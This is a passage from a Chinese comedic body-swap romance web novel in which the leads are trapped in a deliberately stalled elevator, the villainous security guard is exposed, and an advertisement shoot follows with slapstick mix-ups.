“当然知道啦,”贺晓露出一个神秘的微笑,“因为那事儿就是我说出去的啊。” 裴砚知听得额角一抽。 搞了半天,原来那个所谓的知情人士是你啊!贺晓女士! 怎么连自己儿子的谣都要造,你会不会太叛逆了点! 在他原地震惊的同时,裴淮生拿出一个大红包递给狗仔,温和道:“你回去写报道的时候,记得多夸夸这俩孩子,长这么大才遇见也不容易,你们可别把他俩吓跑了。” 红包里装着厚厚一沓钱,狗仔打开封口瞅了一眼,瞠目结舌地数着以万为单位的钞票:“二、四、六……哥、爸、爷!” 很好,不到半分钟的时间,裴砚知已经成功晋升为爸爸辈,多了一位连名字都不知道的好大儿。 “好了,乖孙子自个儿玩儿去吧啊。” 贺晓挥挥手将一步三回头的狗仔糊弄走了。 趁着两人转身的瞬间,裴砚知害怕再出什么幺蛾子,赶紧弯着腰偷感十足地溜了出去。 在见到乔缨的保姆车后,他长舒一口气。 “早啊乔缨姐,”喻季年靠在车边和他打招呼,“吃早餐了吗?” 裴砚知一边上车一边答:“吃了。” 吃了两碗中药。 自打他发现乔缨痛经痛得这么厉害后,就立即去找了业界有名的老中医看病,想开点中药调理调理。 他这辈子都忘不了那个大夫看自己的眼神,像是在看一具被湘西术士神秘复活后的尸体。 俗话说得好,不怕中医笑嘻嘻,只怕中医眉眼低眼。 裴砚知在诊室里如坐针毡地坐了一个多小时,喜提几大包中药,回家的途中还绕到超市里买了个熬药必备的土罐,正式开启了养生模式。 除此之外,他发现乔缨身体素质差,有一部分原因是在于她不怎么运动,所以还制定了一份健身计划表。 乔缨体脂低,这几天的锻炼已经小有成效,至少溜狗仔的时候绕着小区跑两圈不成问题。 广告的拍摄棚离这里不远,裴砚知到时,离预计开工的时间还有半个多小时。 下了车后,喻季年被匆匆赶来的工作人员叫住,想提前和她对对流程。 她为难地说:“这……现在不太方便……” 裴砚知:“没事,你先去吧,我自己上去。” 喻季年奇怪地看着他。 自从上次在湘菜馆吃饭停电后,自家老板好像就不怕黑了一样,难道这就是传说中的脱敏疗法吗? 她盯着裴砚知的背影,视线里,不远处有个潮到风湿的人影踢踢踏踏地走了过来,和裴砚知前后脚进了电梯。 裴砚知的身体明显震了一下,随后脚步迟疑地跟了上去。 可能是哪个圈内的熟人吧,喻季年没太在意,和工作人员一起走到了一楼的会议室。 明亮的电梯内,裴砚知看着门板上乔缨的倒影,眉梢微挑,笑道:“你这今天又是抽的哪门子风?” 乔缨亮出手指上满满一堆的五金戒指,伸到他面前展示,“是‘只要我打扮得像一坨狗屎就没人能发现我是裴砚知’风,懂?” “所以你为什么要来这里?” “我放心不下呗,怕你砸了我的招牌。” 回答得太过理直气壮和轻巧,裴砚知终于问出了一直以来都想问出口的问题:“你就没想过,要是我们一直换不回来怎么办?” “那我就订张去泰国的机票。” 乔缨言之凿凿,说完便将头转向裴砚知,真诚建议道:“你要不要一起,听说双人套餐有优惠哦。” 裴砚知冷着一张脸回答:“婉拒了哈,我宁愿当112种性别里最普通的那一个。” 电梯间猛然晃了两下,灯光闪烁不定,在长达几秒钟的动荡后,彻底熄了下去。 不是吧?又来? 乔缨简直怀疑裴砚知身上带了什么脏东西,怎么一和他见面就遇到停电的事情。 她生无可恋地打开手机屏幕,朝电梯门照了照。 幸好今天戴的戒指款式足够多,她用其中一只的尖角翘开了一点门缝,发现他们被卡在了两个楼层的中间。 因为是直达贵宾室的电梯,周围的人非常少,摄影棚的工作人员很难注意到二人的状况。 裴砚知按了按紧急呼叫按钮,没有任何反应,摇头道:“应该是停电了,等救援吧。” 两层楼之间露出的缝隙不足以让一个成年人钻出去,电梯内不知为何没有信号,也就是说,他们被彻彻底底困在了里面。 还好有冷风通过小缝呼呼呼地吹了进来,让两人不至于缺氧,但副作用是温度骤降 ,连牙齿都止不住打颤。 乔缨为了当个潮人,今天穿得本来就少,这时候不得不坐到地板上蜷缩起身子保暖。 更糟糕的是,因为空间太逼仄黑暗,让她感觉有些头晕目眩,逐渐开始呼吸困难,喘不过气。 一直在尝试着联系外界的裴砚知发现了她的不对劲,连忙趴到她身前,握住两只肩膀不断摇晃。 他急切道:“喂,乔缨,乔缨!醒醒,你还好吗?” 乔缨已经听不到了。 耳鸣声压过了周遭的一切,稀薄的空气让她仿佛被扼住喉咙一样感到窒息。 恍惚中,她好像又回到了童年的那个地下室。 惊恐、焦虑和濒死挣扎交织的痛苦,一种能将人吞没的绝望和无助感再次卷土重来,包裹成一层厚厚的茧,而她动弹不得。 挥之不去的梦魇,她这辈子都无法逃离。 不行,我不能输。 乔缨紧咬着下唇,口腔里的血腥味让她恢复了一丝清明。 心理医生说过的,发病的时候要怎么做来着? 混沌的大脑毫无章法地高速运转着,她努力回想着医生对她说过的话,耳边忽然闪过一道声音。 就是这个。 乔缨尽量平复着紊乱的呼吸,强迫自己镇定下来,脑海中熟稔播放着一些能让她忘记现状、感受美好的情景。 正当乔缨脑子里的幻灯片放到昨天深夜刷到的八块腹肌帅哥时,身前的裴砚知忽然将她轻轻拥进了怀抱里。 他像是在安抚孩子般,冷静又温和地说道:“乔缨,别怕,冷静下来,你现在很安全。” 眼前的人明显平缓了下来。 是的,我很安全。 因为身边有个十分可靠、能让我信任的人。 乔缨闭着眼睛想。 黑暗中。 两只纤长有力的手一下又一下缓慢轻抚着她的背,动作温柔舒缓,分寸感十足,丝毫没有趁人之危的冒犯意味。 鼻尖,是裴砚知的清冽香气,再一次和她身上的甜香交织在一起。 乔缨感觉有根温热的手指抵住了自己的下唇,用指腹轻轻将她被咬出的血迹擦去。 离开的瞬间,她忍不住贪念那点温度,寻着热源向前凑了凑,撞到了一个同样柔软的东西。 相触的瞬间,两人同时晕了过去。 第38章 第三十八章 乔缨搁电梯里亲嘴儿呢!…… 天台。 张强躲在电梯机房里, 捂着电话听筒,小声道:“沈小少爷,这……真的不会出人命吧?” 他以前犯过事, 幸得被沈老爷子拉了一把,洗白身份后还给他安排了一份工作, 现在正在这个摄影基地里当保安。 这几年为了避嫌,他已经很久没有和沈家的人联系了, 谁知昨天沈家那个在娱乐圈当明星的私生子忽然找到了自己, 让他趁着乔缨坐电梯时溜到操作间里,将电梯手动关闭十五分钟。 这个要求很奇怪,一个人就算被困在电梯里了,也不至于连十五分钟都撑不到,如果是想趁机做什么坏事, 为什么不用更直接有效一点的方法? 电话那头的沈颐阴冷一笑:“能出什么事?我就是吓吓她罢了, 一般人哪有这么脆弱。” 当然,乔缨这种幽闭恐惧症患者就另说了。 他还特意找人把那个姓喻的助理支走, 为的就是让乔缨一个人进去,独自面对黑暗。 乔缨这个蠢货, 就因为自己小时候对她有几分照顾, 便单方面的把他当成了可依赖的对象,一股脑地把所有事情都说给他听。 她自以为的亲近, 实则暴露了弱点,成了他手中拿捏乔缨的把柄。 除了工作室的人外, 沈颐是唯一一个知道乔缨有幽闭恐惧的人。 沈颐前二十几年最爱做的事情之一, 就是每当乔缨忤逆自己时,他便会将她关到黑暗狭小的环境里。 伪装成一场意外,然后隔着一堵墙闭眼欣赏着屋内女人的崩溃和哭喊。 当乔缨的承受力到达临界点后, 他再宛如天神降临一般打开房门,以高高在上的救世主姿态出现,来拯救因他而尖叫的羔羊。 毁掉然后救赎,多么好玩的游戏,他乐此不疲。 张强仍旧心有余悸,自打差点进了监狱吃牢饭后,他做事便谨小慎微了起来,胆子比老鼠都小。 听他犹犹豫豫的态度,沈颐也有些不耐烦,揉着眉心安抚道: “好了,你怕什么,要是真被发现了,你就说自己是误操作。最坏的结果,无非也就是被开除,我再给你一份更好的工作不就行了?” “真、真的吗?” 张强迟疑着,忽然听到门外有什么动静,他心里一紧,匆忙说了一句说道:“我这边好像来人了。” 他捂着听筒,刚放下手机,一个人就推门走了进来,新奇地打量了一眼机房。 张强勉强挂出一抹笑,一脸憨厚老实地问:“您有什么事吗?” 来人很高,大概一米九左右的样子,但气质很单纯。 一身简单清爽的黑色卫衣搭配着牛仔裤,脸上的黑框眼镜和刘海也挡不住他帅气清俊的长相,尤其是那双眼睛———清澈又愚蠢。 嘁,大学生。 童娄梓挠挠头,讪笑:“哦,没有,我在天台迷路了,还以为这里是下去的楼梯间呢。” 他嘴里连连喊着抱歉,一路挂着倒档退出了门。 张强松了口气,重新拿起手机,对沈颐点头哈腰道: “少爷放心,沈老爷子对我的大恩大德我张强一辈子都不会忘的,你吩咐我办的事,我就算赴汤蹈火也在所不辞。” “呵,”沈颐邪魅一笑,“你那儿不是有监控画面吗?快给我说说乔缨现在是不是害怕得发抖,像个疯子一样痛苦、尖叫、放声大哭?这就是惹怒我的下场,桀桀桀———” 他笑到一半,离张强几步之遥的房门再度被推开。 童娄梓看看手机地图,又看看熟悉的电梯机房,眼里露出几分迷茫。 他摸摸头发纳闷道:“咦,怎么又走回来了,我明明是按着导航走的啊……” 说完,他抬头看见了正握着手机原地石化的张强,再度歉疚地鞠了几躬,道:“不好意思,不好意思,我又迷路了,打扰了,叔叔再见。” 似是觉得丢脸,童娄梓的脸上迅速染上一抹薄红,再度倒退着离开。 哎呦,这年轻人。 能长这么大也不容易吧? 张强摇摇头,再一次语气谄媚地奉承沈颐:“诶,在呢在呢,您说监控吗?有的,我这就给您打开看啊。” 摄像头用的是不间断电源,因此电梯断电并不影响它的使用。 因为太过紧张,张强举着手机,手忙脚乱地找着乔缨所在的楼层,出了一脑门的汗,连掌心都黏腻起来。 沈颐不满地催促道:“你干嘛呢,快点儿啊!” “找着呢,找着呢,”张强尴尬地笑了两声,“六、七、八……八楼,她现在在八楼!” 沈颐兴奋追问:“她怎么样了,是不是非常崩溃?” “没有。” 张强疑惑地皱了皱眉,语气迟疑:“她……她搁电梯里跟人亲嘴儿呢!” “什么?!电梯里怎么还有别人!” 堪比男高音的尖叫震得张强耳膜发疼,他掏掏耳朵,将手机往外拿远些许,结结巴巴地回道: “我,我也不知道那人啥时候蹿进去的,穿得跟个鬼一样,怕是什么不干净的东西吧?有点邪门儿啊……” 沈颐怒吼:“谁他妈有你邪门!” 两人一个怒气冲天,一个抖成鹌鹑,气氛正在热烈的时候,机房的门再度被人打开。 第三次转到了熟悉的机房,鬼打墙的童娄梓也崩溃了。 他两眼发直地瞪着张强,握着手机惊恐大叫道:“哎呦我去,怎么又回来了,寂静岭P.T.啊?岛哥哥救我!” “怎么老有这个人的声音?” 电话那头的沈颐细思极恐,狐疑地问:“你别真撞上鬼了吧?好晦气,你别再打过来了!” 被挂断电话的张强差点哭了。 这尼玛都什么跟什么啊?替你干脏事还要劈 头盖脸地挨一顿骂,你才晦气,你全家都晦气! 他磨着后槽牙,露出穷凶极恶的嘴脸,对着童娄梓就开始骂街:“你他妈的脑子是不是有病,你到底要干啥啊?你能不能找根绳子把自个儿挂在树上吊死啊,你……” 拥有超绝顿感力的童娄梓完全没在意跳脚的张强,只是一脸好奇地拍拍张强的肩膀,指着监控画面疑惑道:“咦,叔叔,那里怎么倒了两个人啊?” 和外表的清爽单纯不同,童娄梓的力气很大,捏得张强呲牙咧嘴的差点叫出声。 要不是这人的眼神实在愚蠢,他都怀疑童娄梓是故意的了。 等等…… 难道这就是传说中的童脸狼? 细思极恐,越思越恐。 张强大为震撼,迫于清纯男大童娄梓的淫威,他不得不配合地转头,挤出一个比哭还难看的笑,对着监控画面佯装惊讶:“对,对啊,怎么会倒了两个人?这是怎么回事呢?” 语气太过浮夸和不自然,童娄梓狐疑地看他一眼。 然后他不知想到了什么,忽然眼神一亮,再一次拍向张强的肩膀,连连称赞:“哇塞,叔叔你人也太好了,你一定是发现电梯故障上来维修的吧?还想做好事不留名,您太低调了!” 啊? 不是,哥们儿。 我一个逃犯,你拿我当道德模范啊? 在童娄梓殷切的目光中,张强不得不硬着头皮挪到操作系统上,一边迅速把电梯复原,一边维持人设般低沉道:“对,没错,就是这样,我做好人好事向来低调,你也别说出去。” 那哪儿能啊,弘扬正能量可是当代新青年的必修课! 童娄梓嘴上答应,实则骄傲挺胸,当即偷拍了一张张强的侧脸照,准备待会儿打上马赛克后再发到网上宣传宣传。 “那咱下去看看情况吧,我已经通知工作人员了。” 童娄梓热情地把胳膊向张强脖子上搭去,两人的身高差让张强感觉自己的头是颗被人夹在胳肢窝的西瓜。 偏偏这人还四肢发达,力气大得仿佛他要是胆敢表现出半点反抗的意识,就等着演《无头保安异闻录》吧。 谁说新中国没有路易十六。 张强内心一阵悲凉,忍不住老泪纵横。 两人下到楼梯间,童娄梓一路上嘴皮子不停,一直在张强耳边叨叨叨,情绪亢奋。 “叔,你可真厉害,居然能记住这里的路。我刚刚都在天台转了好几圈呢。我是第一次来这里拍广告,谁知道这破地方建筑构造这么奇怪……诶,叔,你一个月工资多少啊,我这毕业即失业的,说不定以后是你同行呢。” 他不好意思地笑笑,腼腆道:“其实我是学化学的来着,偶尔出来当下兼职模特,对了,别看我长这样,你可能猜不出我是个路痴吧? 张强:“?” 这很难猜吗? — 电梯内,乔缨一醒来便对上了一双清澈又愚蠢的眼睛。 童娄梓的脸倒悬在她面前,惊喜道:“师姐,真是你啊?” 刚刚苏醒的乔缨有些发懵,揉揉略感顿疼的头,迟疑道:“你是……” “我也是蓉大的,化工系,大四。” 童娄梓连忙掏出学生证给她看,“我导是楚老师,她到现在都对你念念不忘,说她还是头一次见毕业论文做不出结果,自学舞狮搁实验室驱邪的。” 身旁有人发出一道短促的笑音。 乔缨迟钝地转过头,迟钝地在对方戏谑的眼神中看到了自己现在的模样。 长卷发,大眼睛,鼻梁高挺,长得水灵。 我去,换回来了?! 第39章 第三十九章 在我们相爱的寂静里跳动…… 电梯的门大敞着, 心有余悸的乔缨手忙脚乱从地上爬了起来,一个闪现闪到了走廊上。 她扶着墙一阵喘息,内心全是劫后余生的庆幸。 身体换不换的, 那都是小事,保命才是最要紧的。 差点被撞到鼻子的童娄梓:“……刚刚什么东西飞过去了?” 尽量降低着存在感的裴砚知压低帽檐, 默默跟在乔缨身后,姿势僵硬。 他两手在身上摸索了好半天, 实在没找到可以插进去的兜, 只好看似装逼实则尴尬地挡着脸,在三双眼睛的注视下强装镇定地走了出来。 “咳,到底发生什么事了?”他率先开口,以此转移注意力。 童娄梓视线黏在他身上,懵懵懂懂地说:“电梯出故障了, 我和保安叔叔从监控里看到你俩倒在地上, 想着过来看看情况。” 他碰碰张强的手肘,转头对着他笑道:“对吧大叔?” 张强的头顶上冒出几滴冷汗, 讪讪地点了点头。 他本想悄悄溜走的,奈何童娄梓的手跟铁钳子一样, 怎么挣都挣不开, 只好硬着头皮留在这里。 “谢谢,谢谢。” 乔缨后知后觉地上前, 握了握童娄梓和张强的手以示感谢,裴砚知却轻轻将她往后拉了拉, 挡在了她身前。 从电梯停电开始, 他就一直感觉不太对劲。 碰巧来拍广告,碰巧喻季年被叫走,碰巧电梯出了故障, 碰巧乔缨有幽闭恐惧症,碰巧被这两个人看到。 一切都太过凑巧,像是有人知道乔缨有病,故意用这种方式来吓她一样。 而且从结果上看…… 裴砚知不自觉摸了摸嘴唇上的伤口,要不是凶手不知道他和乔缨换了身体,恐怕已经得逞了。 什么样的人有嫌疑呢? 裴砚知的视线挪到张强的保安制服上,眼神怀疑。 能确认乔缨进了电梯,又能进入机房操作,神不知鬼不觉,不会引起怀疑,被发现后还能迅速作出反应。 可以同时符合这几点的人,不算难猜。 比如说和眼前这个中年男人一样,当一个不起眼的保安就可以做到。 身后一阵喧闹声,喻季年走在一群人的最前面,慌慌张张地跑过来,拉着乔缨仔仔细细地打量了一圈。 她急切问道:“缨姐,你没事吧?都怪我,刚刚不该让你一个人去的。” 身后的工作人员也七嘴八舌地开始关心起来,毕竟这么大个明星差点在自家公司里出了事,要是传了出去,就等着被粉丝砸臭鸡蛋吧。 乱糟糟的环境里,乔缨万般无奈地被簇拥着走进了vip室,只匆匆给裴砚知留下一个欲言又止的眼神。 “哥们儿,别看了,咱和她不是一个次元的。” 童娄梓同情地拍拍裴砚知的肩,上下打量了一眼他的穿搭,无比遗憾地摇头。 “你说你,身材这么好,长得这么帅,就是这审美……啧啧,你这套衣服多少钱买的啊?” 多少钱? 裴砚知回忆了一下亲密付的账单,无语地转了转手上的戒指,面无表情道:“原价998,但我动用了一点人脉。” 童娄梓瞪大了眼睛。 难怪,这么潮流的衣服都能被他收集到,搭配在一起还能丑得层次分明、丰富多彩,谁说这不算是一种热爱。 狠人,这是个狠人,人家有艺术追求的。 模特圈里搞小众穿搭的人不在少数,童娄梓这种刚入行的土鳖虽然看不懂,但也时常大为震撼。 他瞪着俩大眼睛,满脸好奇地问:“啥人脉?” 裴砚知薄唇轻启,吐出六个大字:“拼夕夕砍一刀。” 童娄梓再度震惊了。 狠人,这是个狠人,甚至还省吃俭用地追求艺术! 哪像自己,一有钱了就忘本,做兼职赚的钱全都炫肚子里去了。 哦,还有论文查重。 “要不是你身上那条大金链子反着光,我还注意不到你和师姐呢。” 童娄梓盯着他脖子上那堆量子纠缠在一起的亚b项链感叹,然后低头看了看时间,懊恼地一拍脑门。 “快到时间了,我先去工作了啊,化妆师在催我了。” 在他转身离开的前一秒,裴砚知眼疾手快地扯住他的胳膊,眼神里是肉眼可见的怀疑,问道:“等等,你刚刚说,你和这位保安先生是在监控里看到我们被困的?” “对啊。” 童娄梓有些懵,想起刚刚见义勇为的热心举动,眼神不自觉骄傲起来。 他一把将正欲溜走的张强薅到面前,真诚回答:“我刚刚在天台迷路,不小心走到了电梯房里,一进门就看到大叔站在操作台前,急得团团转呢!” 张强听罢,上眼皮猛地一抬,迅速摆动着双手,语无伦次地惊慌道:“别,别说了!我这人做好事向来不爱声张,低调,低调一点。” “那有什么。” 童娄梓安抚地拍拍他的肩,以为张强是在害羞,对裴砚知诚恳地说:“他当时还拿着手机,说什么‘出人命’啊,‘赴汤蹈火’之类的,那是在和家里人交代呢。” 说罢,他感动地抹抹眼睛,欣慰笑道:“为了救人性命违规操作,顶着被开除的压力也要做好人好事,多难得啊,咱们应该送他一面锦旗。” “原来是这样,的确该好好感谢一下。” 裴砚知饶有兴味地看着张强,“既然如此,不如让警察同志来处理吧,最好登个报发个通稿,让更多的人知道。” 完了,全完了。 张强一眼看出这个男人是在说反话,绝望地拉住裴砚知的衣袖,笑容凄惨:“不是这样的,你听我说……” 至此,裴砚知拉着童娄梓,童娄梓拉着张强,张强拉着裴砚知,三个人以一种奇妙的半包围三角形结构在电梯前站成一圈,陷入了诡异的沉默。 几步之外,喻季年不知为何去而复返,看着三个人奇怪的姿势,一时间滞在了原地。 “叮”的一声,恢复电力的电梯运转平稳,再度停在了这一层。 几个身穿制服的警察走了出来。 — 化妆间。 喻季年推开门,对正在做发型的乔缨报告道:“缨姐,张强已经被带走调查了。” “嗯,辛苦了。” 乔缨朝她眨眨眼睛,然后垂下眼睫,挡住了眼里阴郁的情绪。 她认识张强。 当年她被拐卖后,人贩子为了躲避警方,辗转去了好几个城市。 每到一个地方,人贩子组织都会派相应的人员来接头,而张强就是其中一个。 虽然这么多年过去,张强的长相和她记忆里的样貌有些对不上,但第六感不会骗人,张强手上的伤疤也不会骗人。 当时和乔缨一起被关的,还有一个十几岁的小女孩,张强见她姿色不错便起了歹心,企图对她做些什么。 那女孩也是个狠人,摸到一把菜刀便毫不犹豫地对着那双咸猪手砍了下去。 几番搏斗后,女孩成功逃跑,给张强的手腕上留下了一道又长又深的疤。 乔缨刚刚和张强握手,就是为了确认这一点。 那女孩逃跑后就报了警,导致人贩子带着乔缨匆匆转移,然后将她丢在地下室里逃之夭夭。 以张强的恶劣程度,一旦被抓就会判死刑。 乔缨一直在留意相关的消息,可惜这么多年来,张强和拐卖她的人仍没有被抓到,或许是被谁保护了起来,销声匿迹了十几年。 直到今天,终于被她抓住了。 乔缨深吸了一口气。 其实当年那把菜刀是她偷偷藏起来递给女孩的,而这些年,她一直在后悔。 为什么不找一把更锋利、更轻巧、更好用的武器,为什么她不知道要割开脖子才有用,为什么让张强苟活了这么多年,为什么没把这些人挫骨扬灰。 刚刚握住张强的手时,她差点控制不住颤抖,和内心滔天的恨意。 如果这次能让张强伏法,是不是就可以找到当年将她拐走的人了? 会是谁呢? 今天的种种巧合,不仅裴砚知觉得怪异,她自己也有所怀疑。 如果张强背后的势力和沈老爷子有关,她要怎样做,才能不打草惊蛇,让沈家认罪伏法? 乔缨头疼地揉揉太阳穴。 时间紧凑,做完了妆造,便紧锣密鼓地开始了广告的拍摄。 根据脚本,广告的第一个场景是在咖啡馆里。 乔缨饰演的女孩裹着厚厚的围巾,侧身坐在窗边,正百无聊赖地翻看着诗集。 路灯的光线穿过落地窗,道路两侧的枝桠上积着一层厚厚的雪,四周的灯火明亮而温暖,可她的世界却一片灰白,枯燥乏味。 咖啡店的人来来往往,她处在被世界遗忘的一角。 似是觉得无聊,女孩戴上耳机,打开播放键,隔绝了嘈杂喧嚣,只剩下琴音流淌。 她一只手撑着下巴,无意之间,向窗外的街道上撇去一眼。 镜头顺着视线拉近,同样戴着耳机的男主角从咖啡店前匆匆路过,怀里抱着一束醒目的玫瑰。 一瞬间,世界以他为中心,如烟火般轰然绽开颜色。 大雪纷纷扬扬洒下,男主角停下脚步,似有所感地回头,和她对视。 最后,画面定格,风声倏起,角落里的诗集翻动,一片鲜红的花瓣被吹上书页,停留在聂鲁达的诗句上: 「无数颗风的心,在我们相爱的寂静里跳动」 哇塞,好有氛围感。 就是冬天里开玫瑰花有些不科学。 乔缨看得连连点头,捧着脚本,揣摩了一下情绪。 因为没有台词,所以需要更加细腻生动的表演。 但镜头又是怼脸拍,表演痕迹太重会显得刻意和油腻,其中的度得好好把握。 过完一遍,心里有个大概的感觉后,乔缨放下脚本喝了口茶,和她搭戏的群演们这才敢上前和她打招呼。 乔缨一一回应,一抬头,却在人群之中看到了裴砚知那张宛如便秘的脸。 “你……” 她惊愕万分地站起身,手指一抖,却碰掉了一个奇怪的东西。 一张小纸条不知被谁放到了身侧的置物架上,她疑惑地捡了出来,视线往上随意一瞟。 只见上面赫然写着四个震耳欲聋的大字:“我 要 拉屎。” 乔缨僵住了,跟见了鬼似的倒退两步。 究竟是什么样的人生经历,才写得出这样痛彻心扉的文字? 视力极好的裴砚知也看清了上面的字,表情微不可见地凝滞了一瞬,而后唇角向上移动了两个像素。 与此同时,厕所里。 一位名叫童娄梓的男子正看着随手揣进兜里的名片,蹲在马桶上,面容痛苦地发帖询问: 【救命,我上班的时候突然蹿稀,把甲方爸爸当成同事,还让他帮我顶班了,怎么办?】 第40章 第四十章 走吧你,跟有病似的 事情是这样的。 由于裴砚知今天的打扮太过于宝相庄严, 童娄梓便把他当成了现场的群演之一,倍感亲切。 像他这样的散模,基本都是通过中间人的介绍来接导演的通告, 然后自己一个人去跑场子。 一般也就是去中小品牌的发布会走走红毯,或者像今天这样, 在广告里当当背景板。 换言之,虽然童娄梓今天担任的是男主角, 但也只是在镜头里朦朦胧胧露个半身和侧脸, 并没有想象中的那样不可替代。 也正因如此,深知自己是个废物糊咖的童娄梓松弛感满满地提着行李来到了京市,对这份工作没有半点紧张的情绪。 可问题就在于,他太松弛了。 童娄梓一早上尽在天台上瞎转悠了,微信步数原地增加1w步, 给他肚子饿得不行。 所以在开拍之前, 他甚至还争分夺秒点了份外卖,吃了碗加过增臭剂的螺蛳粉。 当他拖着虚弱的步伐第三次从厕所里出来时, 化妆师看他这样也于心不忍,刚好裴砚知挂着条大金链子路过, 二人顿时眼睛一亮。 身高相同, 体型相似,连服装造型都不用改, 直接套用童娄梓身上这套就成。 虽然和他相比,裴砚知的长相更为英挺深邃, 气质也更加凌厉沉稳, 但正片里也就几秒的戏份,能糊弄过去就成。 在两人言辞恳切的央求里,裴砚知眉梢微抬, 欣然答应。 只要能摆脱这一身丑衣服,哪怕让他开豪车住豪宅和乔缨搭戏他都愿意。 童楼梓如蒙大赦地握住他的手,却只摸到一堆冰凉的五金配饰。 他讪讪一笑,问了一句裴砚知的名字,打算好好感谢一下这位好心人。 出于商务礼仪,裴砚知习惯性地想递给他一张名片,可任他左掏右掏,只摸出来一包皱皱巴巴的心相印。 等他好不容易从手机壳后面找出来一张,正要开口自我介绍时,童娄梓忽然脸色一变,夹着屁股跑进厕所里了。 而直到坐上马桶,童娄梓才看见那张名片上印的是:【昭星集团 裴砚知】 不仅如此,这名字后面还有六个醒目的烫金小字:【总经理】 这个发现,让他在人生中最脆弱的时候,更加脆弱了。 手机的提示音响个不停,点开后台,刚刚那条社死的帖子瞬间多了好几十条回复,评论里都在劝他看开一点,找根绳子上吊重开就好了。 还有一些看热闹不嫌事大,说他是嫡员工,裴砚知是庶总裁,他把裴砚知发卖了就行。 这些废话看着看着,童娄梓忽然莫名其妙镇定下来。 他想到之前离开摄影棚的时候,似乎在现场给群演同事们留了张说明情况的便签纸。 再侧耳听听隔壁的声音,童娄梓逐渐也被自己说服了,觉得他们大概是看到了纸条,否则现场不可能这么安静。 想到这里,他手指哆哆嗦嗦地切换后台,打算发条微博冷静冷静。 虽然名气不大,好歹还是有那么几百个人在关注他。 他凹着云淡风轻的语气缓缓敲下一条: 【重生之我在娱乐圈捅篓子:拍摄现场拉肚子[微笑]人生体验加一。】 很快便迎来了第一条回复,童娄梓以为是哪个粉丝来安慰自己了,满眼欣喜地打开一看,顿时傻眼: 【评论罗伯特:希望不要影响肚子里的孩子。】 童娄梓一口老血喷了出来,差点把手机摔出去,愤而回复: 【重生之我在娱乐圈捅篓子:走吧你,跟有病似的!】 而镜头内,乔缨和裴砚知的确没过多关心那张“我要拉屎”的纸条是什么意思,在导演的指导下走到了相应的位置。 拍摄的内容很简单,裴砚知只需要按照要求在镜头前走两步,再回头和乔缨对视就行,剩下的全交给特效和慢镜头。 “3、2、1,action!” 男人抱着玫瑰花步履平缓地出现在镜头里,鼓风机扬起了他的围巾,大衣沾染上的玫瑰香气也随之涌动。 棉絮仿制的雪花飘飘散散撒向肩头,衬得那张脸更冷,气质更凌厉, 这样的一个人,怀中却抱着一束鲜艳的红玫瑰,反差感十足。 虽然剧本上写的是男主角行色匆匆地出现,但裴砚知长得太有侵略感,神情是一贯的沉稳淡定。 比起惊鸿一瞥,更像是掐准时间故意从女主窗前经过一样。 从容,有预谋,徐徐图之,搭配上乔缨骨子里的恶女气质,反而演出了另一种更带感的效果。 算计与真心,猎人与猎物,白切黑与强制爱。 无数个不能过审的tag在脑子里冒出,看得制作组在屏幕前一阵激动。 “这是哪家公司的模特啊?我怎么以前从没见过?” “好般配的两张脸,这帅哥居然一个正脸镜头都没有,真是暴殄天物。” “我后悔写这个剧本了,早知道他长这么爽,我还搞什么纯爱!” “诶,我看了看名单,这个模特叫童娄梓,但怎么感觉他和照片长得不一样啊?” 此话一出,人群里立即一阵哀嚎:“不会吧,原来是整容的?幻灭了。” 也有人盯着裴砚知一动不动,目光炯炯地说:“整得还挺自然,一点痕迹都看不出来,我能去找他要个医生的联系方式吗?” 不仅视力好,听力也十分优秀的裴砚知,忍不住捏紧了手里的花束。 谁能想到,才来娱乐圈没几天,他已经开始有反向容貌焦虑了。 热闹的气氛中,导演忽然沉着脸喊了一声“咔”,看着监视器的画面,纳闷地皱起了眉头。 他琢磨着到底哪里不对劲,似是而非地说道:“乔老师,总感觉你的眼神里差了一点什么。” 乔缨的演技自然是没问题的,但就是少了一点什么,不对味儿。 乔缨若有所思地看着画面,突然get到了导演的意思,试探问:“您的意思是不是,少了点心动的感觉?” “对对对,就是这个,”导演一拍脑门,“你刚才那眼神给人的感觉……就像是单纯在欣赏帅哥,但内心完全没有怦然心动的迹象。” 四周立即有人交头接耳。 “乔缨好像确实没怎么演过偶像剧来着,唯一的一部就是和那个段什么秋演的校园剧。” “我看过,我看过,校霸男主和学霸女主,她在里面的人设还是个隐藏抖S,男主完全是被她打爽了才爱上的,到了大结局她好像还只是把男主当狗一样逗,确实和纯爱沾不上边哈。” “我去尺度这么大的吗?” “我有办法。” 裴砚知忽然站了出来,对着乔缨说道:“再来一条吧,我们速战速决。” 其余人都惊讶于他话里的熟稔和强硬,毕竟乔缨是出了名的易燃易爆脾气差,没几个人敢用这种语气和她说话。 几颗脑袋动作一致地看向乔缨,本以为会看到女明星发飙现场,没想到她却只是朝那人扬唇一笑,一副看他葫芦里卖的什么药的样子。 场务再次打板,第二条的拍摄开始。 乔缨仍旧如上一条那样戴上了耳机,心里一边默念“我喜欢他,我喜欢他,我超级喜欢他”,一边按照剧本往窗外瞥去。 裴砚知高大的身影如约而至,却在进入画面前手指微微一动,拿起黑卡故意朝她晃了晃,然后藏进了玫瑰花束里。 乔缨的眼睛一瞬间亮了起来 导演激动大喊:“就是这个!就是这种怦然心动!好,很好,继续保持!” — 临近饭点,陆嘉泽带着一堆慰问品和午餐来到工作室,刚好看到广告的最后一幕。 “哐啷”一声,手上提着的零食袋掉落一地,一罐可乐孤零零地滚了出来,停在了陆嘉泽的脚边。 他怔怔指着镜头里的男人,目眦欲裂:“裴、裴总?!” 陡然拔高的音调像尖叫鸡,连导演都忍不住回过头责备地看他一眼,语气不善道:“你哪位?有什么事吗?” 陆嘉泽下意识地自我介绍:“我是裴总的秘书……不对,你们怎么让他去演广告了,你知道他是谁吗?” “切,耍什么大牌,他还能是谁啊,不就是个小模特———” 导演不屑地转头看向监视器里的男人,适时镜头拉近,刺眼的大灯照射在前方,几个反光板跟电灯泡似的晃在脸上。 在强光的照射下,妆容和发型的修饰感顿时减弱了大半,高清镜头里连脸上的细小绒毛都看得一清二楚。 直到这时,裴砚知的样貌才完全暴露在明亮的光线下。 见到此情此景,屏幕前有一个老男孩悄悄地碎掉了。 导演发出了尖锐暴鸣,气得语无伦次,跑来跑去,仰天长啸:“谁让裴总进去的,谁啊,到底是谁!” 他一把薅住几个执行助理,揪住衣领吼道:“是不是你让裴总去的?说啊是不是你?什么?不是你?” 他烦躁地踱来踱去,目光恶狠狠地盯着在场的工作人员,语气崩溃:“那是谁让这个活爹去的,是谁啊?谁来背这个锅!” 